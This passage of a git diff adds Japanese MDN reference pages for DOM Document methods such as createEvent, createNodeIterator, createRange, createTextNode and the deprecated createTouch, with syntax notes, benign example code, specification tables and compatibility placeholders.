href="/ja/docs/DOM/event">イベント</a> を作成します。返されるオブジェクトは最初に初期化する必要があり、その後で {{domxref("EventTarget.dispatchEvent")}} へ渡すことができます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>event</var> = <var>document</var>.createEvent(<var>type</var>); +</pre> + +<ul> + <li><code><var>event</var></code> は作成された a href="/ja/docs/DOM/event">イベントオブジェクトです。</li> + <li><code><var>type</var></code> は作成するイベント型を表す文字列です。取り得るイベント型は <code>"UIEvents"</code>, <code>"MouseEvents"</code>, <code>"MutationEvents"</code>, <code>"HTMLEvents"</code> のいずれかです。詳しくは{{Anch("Notes", "注")}}の項目を参照してください。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js notranslate">// イベントを作成します。 +var event = document.createEvent('Event'); + +// イベントの名前を 'build' に定義します。 +event.initEvent('build', true, true); + +// イベントを待受します。 +elem.addEventListener('build', function (e) { + // e.target が elem に対応する +}, false); + +// ターゲットは任意の Element やほかの EventTarget にすることができます。 +elem.dispatchEvent(event); +</pre> + +<h2 id="Notes" name="Notes">注</h2> + +<p><code>createEvent()</code> に渡すのに適したイベント型を表す文字列は <a href="https://dom.spec.whatwg.org/#dom-document-createevent">DOM 標準で定義されています。ステップ 2 の表をご覧ください</a>。現在はほとんどのイベントオブジェクトにコンストラクターがあり、それらはイベントオブジェクトのインスタンスを生成するために推奨される、現代的な方法であることに注意してください。</p> + +<p>Gecko は非標準のイベントオブジェクトの別名をサポートしています。詳細は以下の表を参照してください。</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <th>イベントモジュール</th> + <th>標準イベントオブジェクト</th> + <th>Gecko が対応する別名</th> + </tr> + <tr> + <td>テキストイベントモジュール</td> + <td><code>TextEvent</code></td> + <td><code>TextEvents</code></td> + </tr> + <tr> + <td>キーボードイベントモジュール</td> + <td><code>KeyboardEvent</code></td> + <td><code>KeyEvents</code></td> + </tr> + <tr> + <td>基本イベントモジュール</td> + <td><code>Event</code></td> + <td><code>Events</code></td> + </tr> + </tbody> +</table> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createevent', 'document.createEvent')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createEvent")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/Guide/Events/Creating_and_triggering_events">イベントの作成と発行</a></li> +</ul> diff --git a/files/ja/web/api/document/createexpression/index.html b/files/ja/web/api/document/createexpression/index.html new file mode 100644 index 0000000000..847bf1ea3c --- /dev/null +++ b/files/ja/web/api/document/createexpression/index.html @@ -0,0 +1,47 @@ +--- +title: Document.createExpression() +slug: Web/API/Document/createExpression +tags: + - API + - DOM + - Document + - Reference + - XPath + - createExpression + - メソッド +translation_of: Web/API/Document/createExpression +--- +<div>{{APIRef("DOM")}}</div> + +<p>このメソッドは、 (繰り返して) 評価を行うために使用することができる {{DOMxRef("XPathExpression")}} をコンパイルします。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>xpathExpr</var> = <var>document</var>.createExpression(<var>xpathText</var>, <var>namespaceURLMapper</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<ul> + <li><var>xpathText</var> は文字列で、コンパイルする XPath 式です。</li> + <li><var>namespaceURLMapper</var> は、名前空間接頭辞を名前空間 URL に対応付ける関数 (または必要がなければ null) です。</li> +</ul> + +<p>{{Fx_MinVersion_Note(3, "Firefox 3 より前では、対象として XPath を実行する文書以外の文書に対してこのメソッドを呼び出すことができました。 Firefox 3 では、同じ文書に対して呼び出す必要があります。")}}</p> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>{{DOMxRef("XPathExpression")}}</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createExpression")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{DOMxRef("Document.evaluate()")}}</li> + <li>{{DOMxRef("XPathExpression")}}</li> +</ul> diff --git a/files/ja/web/api/document/createnodeiterator/index.html b/files/ja/web/api/document/createnodeiterator/index.html new file mode 100644 index 0000000000..987deb7207 --- /dev/null +++ b/files/ja/web/api/document/createnodeiterator/index.html @@ -0,0 +1,156 @@ +--- +title: Document.createNodeIterator() +slug: Web/API/Document/createNodeIterator +tags: + - API + - DOM + - Gecko + - MakeBrowserAgnostic + - Method + - メソッド +translation_of: Web/API/Document/createNodeIterator +--- +<div>{{APIRef("DOM")}}</div> + +<p>新しい {{domxref("NodeIterator")}} オブジェクトを返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">const nodeIterator = document.createNodeIterator(<var>root</var>[, <var>whatToShow</var>[, <var>filter</var>]]); +</pre> + +<h3 id="Values" name="Values">値</h3> + +<dl> + <dt><code><var>root</var></code></dt> + <dd>{{ domxref("NodeIterator") }} の探索の開始地点になるルートノードです。</dd> + <dt><code><var>whatToShow</var></code> {{ optional_inline() }}</dt> + <dd>オプションの <code>unsigned long</code> 値で、 <code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter" title="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code> の定数プロパティを組み合わせて作られたビットマスクを表します。これは特定の種類のノードを絞り込みするのに便利な方法です。. 既定値は <code>0xFFFFFFFF</code> で、 <code>SHOW_ALL</code> 定数を表します。 + <table class="standard-table"> + <thead> + <tr> + <th class="header" scope="col">定数</th> + <th class="header" scope="col">数値</th> + <th class="header" scope="col">説明</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>NodeFilter.SHOW_ALL</code></td> + <td><code>-1</code> (すなわち <code>unsigned long</code> の最大値)</td> + <td>すべてのノードを表します。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td> + <td><code>2</code></td> + <td> + <p>属性 {{ domxref("Attr") }} ノードを表します。</p> + + <p>これは、 {{ domxref("Attr") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、その属性ノードが反復や探索の最初の位置に現れることを意味します。属性は他のノードの子ではないので、文書ツリーを探索しても現れません。</p> + </td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td> + <td><code>8</code></td> + <td>{{ domxref("CDATASection") }} ノードを表します。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_COMMENT</code></td> + <td><code>128</code></td> + <td>{{ domxref("Comment") }} ノードを表します。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT</code></td> + <td><code>256</code></td> + <td>{{ domxref("Document") }} ノードを表します。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td> + <td><code>1024</code></td> + <td>{{ domxref("DocumentFragment") }} ノードを表します。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td> + <td><code>512</code></td> + <td>{{ domxref("DocumentType") }} ノードを表します。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ELEMENT</code></td> + <td><code>1</code></td> + <td>{{ domxref("Element") }} ノードを表します。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td> + <td><code>32</code></td> + <td>{{ domxref("Entity") }} ノードを表示します。これは、 {{ domxref("Entity") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Entity") }} ノードが探索の最初の位置に現れることを意味します。エンティティは文書ツリーの一部ではないので、文書ツリーを探索しても表されません。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td> + <td><code>16</code></td> + <td>{{ domxref("EntityReference") }} ノードを表します。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td> + <td><code>2048</code></td> + <td>{{ domxref("Notation") }} ノードを表示します。これは、 {{ domxref("Notation") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Notation") }} ノードが探索の最初の位置に現れることを意味します。 Notation は文書ツリーの一部ではないので、文書ツリーを探索しても表されません。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td> + <td><code>64</code></td> + <td>Shows {{ domxref("ProcessingInstruction") }} nodes.</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_TEXT</code></td> + <td><code>4</code></td> + <td>{{ domxref("Text") }} ノードを表します。</td> + </tr> + </tbody> + </table> + </dd> + <dt><code><var>filter</var></code> {{ optional_inline() }}</dt> + <dd>NodeFilter インターフェースを実装したオブジェクト。その acceptNode() メソッドは、反復可能なノードのリストに含めるかどうかを決定するために、 whatToShow フラグによって含まれていると受け入れられたルートを基準としたサブツリーの各ノードに対して呼び出されます (代わりに単純なコールバック関数を使用することもできます)。このメソッドは <code>NodeFilter.FILTER_ACCEPT</code>, <code>NodeFilter.FILTER_REJECT</code>, or <code>NodeFilter.FILTER_SKIP</code> のいずれかを返します。{{ anch("Example", "例") }}を参照してください。</dd> +</dl> + +<div class="note"><strong>メモ:</strong> Gecko 12.0 (Firefox 12.0 / Thunderbird 12.0 / SeaMonkey 2.9) より前の版では、このメソッドは DOM4 仕様の一部ではないオプションの 4 番目の引数 (entityReferenceExpansion) を受け入れていました。この引数は、エンティティ参照ノードの子がイテレーターから見えるかどうかを示していました。このようなノードはブラウザーでは作成されないので、この引数は何の効果もありませんでした。</div> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js">const nodeIterator = document.createNodeIterator( + document.body, + NodeFilter.SHOW_ELEMENT, + function(node) { + return node.nodeName.toLowerCase() === 'p' ? NodeFilter.FILTER_ACCEPT : NodeFilter.FILTER_REJECT; + } +); +const pars = []; +let currentNode; + +while (currentNode = nodeIterator.nextNode()) { + pars.push(currentNode); +} +</pre> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createnodeiterator', 'document.createNodeIterator')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createNodeIterator")}}</p> diff --git a/files/ja/web/api/document/creatensresolver/index.html b/files/ja/web/api/document/creatensresolver/index.html new file mode 100644 index 0000000000..023c0b8ea8 --- /dev/null +++ b/files/ja/web/api/document/creatensresolver/index.html @@ -0,0 +1,71 @@ +--- +title: Document.createNSResolver() +slug: Web/API/Document/createNSResolver +tags: + - API + - DOM + - DOM Reference + - Method + - Reference +translation_of: Web/API/Document/createNSResolver +--- +<p>{{ ApiRef("DOM") }}</p> + +<p>指定されたノードのスコープで定義を尊重する名前空間を解決する <code>XPathNSResolver</code> を生成します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="eval notranslate"><var>nsResolver</var> = document.createNSResolver(<var>node</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<ul> + <li><code><var>node</var></code> は名前空間の解決のためのコンテキストとして使用されるノードです。</li> +</ul> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<ul> + <li><code>nsResolver</code> は XPathNSResolver オブジェクトです。</li> +</ul> + +<h2 id="Notes" name="Notes">注</h2> + +<p>任意の DOM ノードをネームスペースを解決するように修正し、 <a href="/ja/docs/Web/XPath">XPath</a> 式が文書内に現れたノードのコンテキストに対して容易に評価できるようにします。このアダプターは、 <code>lookupNamespaceURI</code> が呼び出されたときにノードの階層で使用可能な現在の情報を使用して、指定された接頭辞から <code>namespaceURI</code> を解決する際に、ノード上の DOM Level 3 メソッド <code>lookupNamespaceURI</code> のように機能します。 暗黙の <code>xml</code> 接頭辞も正しく解決されます。</p> + +<p>なお、 XPath は、ヌル名前空間の要素と一致する接頭辞のない QNames を定義します。 XPath には、通常の要素参照に適用される既定の名前空間を選択する方法はありません (例えば <code><span class="nowiki">xmlns='http://www.w3.org/1999/xhtml'</span></code> における <code>p[@id='_myid'</code>])。ヌルではない名前空間の既定の要素を照合するには、 <code>*namespace-uri()=<span class="nowiki">http://www.w3.org/1999/xhtml</span> and name()=p[@id='_myid']</code> のような形を使用して特定の要素を参照するか (<a href="/ja/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript#Using_XPath_functions_to_reference_elements_with_its_default_namespace">このアプローチ</a>は名前空間が分からない可能性がある動的 XPath 式で動作します)、接頭辞付きの名前の条件を使用し、接頭辞と名前空間を対応付ける名前空間リゾルバーを作成するかしてください。後者のアプローチを採りたいと思うのであれば、<a href="/ja/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript#Implementing_a_User_Defined_Namespace_Resolver">ユーザー定義の名前空間リゾルバーの作成方法</a>をお読みください。</p> + +<p><code>createNSResolver</code> は DOM Level 3 で導入されました。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM3 XPath', 'xpath.html#XPathEvaluator-createNSResolver', 'document.createNSResolver')}}</td> + <td>{{Spec2('DOM3 XPath')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createNSResolver")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Document/evaluate">document.evaluate</a></li> + <li><a href="/ja/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript">Javascript での XPath の使用</a></li> +</ul> diff --git a/files/ja/web/api/document/createprocessinginstruction/index.html b/files/ja/web/api/document/createprocessinginstruction/index.html new file mode 100644 index 0000000000..520320fa5d --- /dev/null +++ b/files/ja/web/api/document/createprocessinginstruction/index.html @@ -0,0 +1,98 @@ +--- +title: Document.createProcessingInstruction() +slug: Web/API/Document/createProcessingInstruction +tags: + - API + - DOM + - Document + - Method + - Reference + - createProcessInstruction +translation_of: Web/API/Document/createProcessingInstruction +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary"><code>createProcessingInstruction()</code> は新しい<a href="/ja/docs/Web/API/ProcessingInstruction">処理命令</a>ノードを生成して返します。</span></p> + +<p>新しいノードは {{ domxref("node.insertBefore") }} のように、あらゆることを成立させるために XML 文書に挿入されます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="brush:js"><var>piNode</var> = <var>document</var>.createProcessingInstruction(<var>target</var>, <var>data</var>) +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<ul> + <li><code><var>piNode</var></code> は結果の {{ domxref("ProcessingInstruction") }} ノードです。</li> + <li><code><var>target</var></code> は処理命令の最初の部分 (つまり <code><?<strong><var>target</var></strong> … ?></code>) を含む文字列です。</li> + <li><code><var>data</var></code> は target の後に処理命令が伝えるすべての情報を含む文字列です。このデータはあなた次第ですが、 <code>?></code> は処理命令を閉じるので含むことができません。</li> +</ul> + +<h3 id="Exceptions" name="Exceptions">例外</h3> + +<dl> + <dt><code>DOM_INVALID_CHARACTER</code></dt> + <dd>以下の何れかが真になると例外を投げます。 + <ul> + <li>処理命令の <strong><var>target</var></strong> が無効である — 有効な <em><a class="external" href="https://www.w3.org/TR/REC-xml/#dt-name" rel="external">XML 名</a></em>とは、 "xml", "XML" またはその2つの大文字・小文字の組み合わせであり、 <code><?xml-stylesheet ?></code> のような標準化されたものではないものです。</li> + <li><em>closing processing instruction sequence</em> (<code>?></code>) が<code><var>data</var></code> に含まれている。</li> + </ul> + </dd> +</dl> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js">var doc = new DOMParser().parseFromString('<foo />', 'application/xml'); +var pi = doc.createProcessingInstruction('xml-stylesheet', 'href="mycss.css" type="text/css"'); + +doc.insertBefore(pi, doc.firstChild); + +console.log(new XMLSerializer().serializeToString(doc)); +// Displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/> +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>変更なし</td> + </tr> + <tr> + <td>{{SpecName('DOM4', '#dom-document-createprocessinginstruction', 'createProcessingInstruction()')}}</td> + <td>{{Spec2('DOM4')}}</td> + <td><code><var>data</var></code> 引数の検証方法のもっと詳細な定義を追加した。</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>対象名の名前空間が正しい形式かどうかチェックされないこと、どの文字が対象名に違反するかの定義、返された {{domxref("ProcessingInstruction")}} オブジェクトのより詳細についてのメモを追加。</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Core', 'core.html#ID-135944439', 'createProcessingInstruction()')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td>変更なし</td> + </tr> + <tr> + <td>{{SpecName('DOM1', 'level-one-core.html#ID-135944439', 'createProcessingInstruction()')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createProcessingInstruction")}}</p> diff --git a/files/ja/web/api/document/createrange/index.html b/files/ja/web/api/document/createrange/index.html new file mode 100644 index 0000000000..568c81c60c --- /dev/null +++ b/files/ja/web/api/document/createrange/index.html @@ -0,0 +1,60 @@ +--- +title: Document.createRange() +slug: Web/API/Document/createRange +tags: + - API + - DOM + - DOM Reference + - Document + - DocumentRange.createRange + - Method + - Range +translation_of: Web/API/Document/createRange +--- +<div>{{APIRef("DOM")}}</div> + +<p><code><strong>Document.createRange()</strong></code> メソッドは、新しい {{domxref("Range")}} オブジェクトを返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate"><var>range</var> = document.createRange(); +</pre> + +<p><var>range</var> は生成された {{domxref("Range")}} オブジェクトです。</p> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js notranslate">let range = document.createRange(); + +range.setStart(startNode, startOffset); +range.setEnd(endNode, endOffset); +</pre> + +<h2 id="Notes" name="Notes">注</h2> + +<p><code>Range</code> を生成したあと、大部分のメソッドを使用するには境界を設定する必要があります。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createrange', 'document.createRange')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.createRange")}}</div> diff --git a/files/ja/web/api/document/createtextnode/index.html b/files/ja/web/api/document/createtextnode/index.html new file mode 100644 index 0000000000..478ab99c0d --- /dev/null +++ b/files/ja/web/api/document/createtextnode/index.html @@ -0,0 +1,81 @@ +--- +title: Document.createTextNode() +slug: Web/API/Document/createTextNode +tags: + - API + - DOM + - Document + - Reference + - createTextNode + - メソッド +translation_of: Web/API/Document/createTextNode +--- +<div>{{APIRef("DOM")}}</div> + +<p>新しい {{domxref("Text")}} ノードを生成します。このメソッドは HTML 文字をエスケープするのに利用できます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>text</var> = document.createTextNode(<var>data</var>); +</pre> + +<ul> + <li><var>text</var>: {{domxref("Text")}} ノード。</li> + <li><var>data</var>: テキストノードの中に入れるデータが入った<a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/String">文字列</a>。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="en"> +<head> +<title>createTextNode example</title> +<script> +function addTextNode(text) { + var newtext = document.createTextNode(text), + p1 = document.getElementById("p1"); + + p1.appendChild(newtext); +} +</script> +</head> + +<body> + <button onclick="addTextNode('YES! ');">YES!</button> + <button onclick="addTextNode('NO! ');">NO!</button> + <button onclick="addTextNode('WE CAN! ');">WE CAN!</button> + + <hr /> + + <p id="p1">First line of paragraph.</p> +</body> +</html> + +</pre> + +<p>{{EmbedLiveSample('Example')}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createtextnode', 'Document: createTextNode')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createTextNode")}}</p> diff --git a/files/ja/web/api/document/createtouch/index.html b/files/ja/web/api/document/createtouch/index.html new file mode 100644 index 0000000000..3d315b221e --- /dev/null +++ b/files/ja/web/api/document/createtouch/index.html @@ -0,0 +1,118 @@ +--- +title: Document.createTouch() +slug: Web/API/Document/createTouch +tags: + - API + - Deprecated + - HTML DOM + - Method + - Mobile + - Reference + - createTouch + - touch +translation_of: Web/API/Document/createTouch +--- +<div>{{APIRef("DOM")}}{{Deprecated_Header}}</div> + +<div class="blockIndicator note"> +<p><strong>注:</strong> {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。</p> +</div> + +<p><strong><code>Document.createTouch()</code></strong> メソッドは、<span class="seosummary">新しい {{DOMxRef("Touch")}} オブジェクトを生成して返します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>touch</var> = DocumentTouch.createTouch(view, target, identifier, pageX, pageY, + screenX, screenY); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<div class="note"><strong>注:</strong> すべての引数が省略可能です。</div> + +<dl> + <dt><code>view</code></dt> + <dd>タッチが発生した {{DOMxRef("window")}} です。</dd> + <dt><code>target</code></dt> + <dd>タッチの {{DOMxRef("EventTarget")}} です。</dd> + <dt><code>identifier</code></dt> + <dd>{{DOMxRef("Touch.identifier")}} の値です。</dd> + <dt><code>pageX</code></dt> + <dd>{{DOMxRef("Touch.pageX")}} の値です。</dd> + <dt><code>pageY</code></dt> + <dd>{{DOMxRef("Touch.pageY")}} の値です。</dd> + <dt><code>screenX</code></dt> + <dd>{{DOMxRef("Touch.screenX")}} の値です。</dd> + <dt><code>screenY</code></dt> + <dd>{{DOMxRef("Touch.screenY")}} の値です。</dd> +</dl> + +<div class="note"><strong>注:</strong> このメソッドの以前のバージョンでは、以下の追加の引数を含んでいましたが、これらの引数は下記の標準のいずれにも含まれていません。従って、これらの引数は非推奨であり、使用されないと考えてください。</div> + +<dl> + <dt><code>clientX</code></dt> + <dd>{{DOMxRef("Touch.clientX")}} の値です。</dd> + <dt><code>clientY</code></dt> + <dd>{{DOMxRef("Touch.clientY")}} の値です。</dd> + <dt><code>radiusX</code></dt> + <dd>{{DOMxRef("Touch.radiusX")}} の値です。</dd> + <dt><code>radiusY</code></dt> + <dd>{{DOMxRef("Touch.radiusY")}} の値です。</dd> + <dt><code>rotationAngle</code></dt> + <dd>{{DOMxRef("Touch.rotationAngle")}} の値です。</dd> + <dt><code>force</code></dt> + <dd>{{DOMxRef("Touch.force")}} の値です。</dd> +</dl> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<dl> + <dt><code>touch</code></dt> + <dd>入力引数で記述されたように構成された {{DOMxRef("Touch")}} オブジェクトです。</dd> +</dl> + +<h2 id="Example" name="Example">例</h2> + +<p>この例は {{DOMxRef("Document.createTouch()")}} メソッドを使用して {{DOMxRef("Touch")}} オブジェクトを生成する様子を示しています。</p> + +<p>以下のコードスニペットでは、2つの {{DOMxRef("Touch")}} オブジェクトが <code>target</code> 要素に生成されます。</p> + +<pre class="brush: js notranslate">var target = document.getElementById("target"); + +var touch1 = Document.createTouch(window, target, 1, 15, 20, 35, 40); +var touch2 = Document.createTouch(window, target, 2, 25, 30, 45, 50); +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Touch Events", "#widl-Document-createTouch-Touch-WindowProxy-view-EventTarget-target-long-identifier-long-pageX-long-pageY-long-screenX-long-screenY", "Document.createTouch()")}}</td> + <td>{{Spec2("Touch Events")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createTouch")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Touch_events">タッチイベント</a></li> + <li>{{DOMxRef("TouchList")}}</li> + <li>{{DOMxRef("Touch")}}</li> + <li>{{DOMxRef("Document.createTouchList()")}}</li> +</ul> diff --git a/files/ja/web/api/document/createtouchlist/index.html b/files/ja/web/api/document/createtouchlist/index.html new file mode 100644 index 0000000000..5a6e18d16f --- /dev/null +++ b/files/ja/web/api/document/createtouchlist/index.html @@ -0,0 +1,99 @@ +--- +title: Document.createTouchList() +slug: Web/API/Document/createTouchList +tags: + - API + - DOM + - Deprecated + - Document + - Method + - Mobile + - createTouchList + - touch + - タッチパネル + - メソッド +translation_of: Web/API/Document/createTouchList +--- +<div>{{APIRef("DOM")}}{{Deprecated_Header}}</div> + +<div class="blockIndicator note"> +<p><strong>注:</strong> {{Gecko("25.0")}} 以前では、このメソッドは {{DOMxRef("DocumentTouch")}} ミックスインで定義されていました。</p> +</div> + +<p><strong><code>Document.createTouchList()</code></strong> メソッドは、<span class="seosummary">新しい {{DOMxRef("TouchList")}} オブジェクトを生成して返します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>list</var> = DocumentTouch.createTouchList([<var>touch1 [, touch2 [, ...]]]</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><code><var>touches</var></code></dt> + <dd>0個以上の {{DOMxRef("Touch")}} オブジェクトです。 <strong>注:</strong> Firefox は {{DOMxRef("Touch")}} オブジェクトの<a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Array">配列</a>も受け付けます。</dd> +</dl> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<dl> + <dt><code><var>list</var></code></dt> + <dd>{{DOMxRef("TouchList")}} オブジェクトで、 <code>touches</code> 引数で指定された {{DOMxRef("Touch")}} 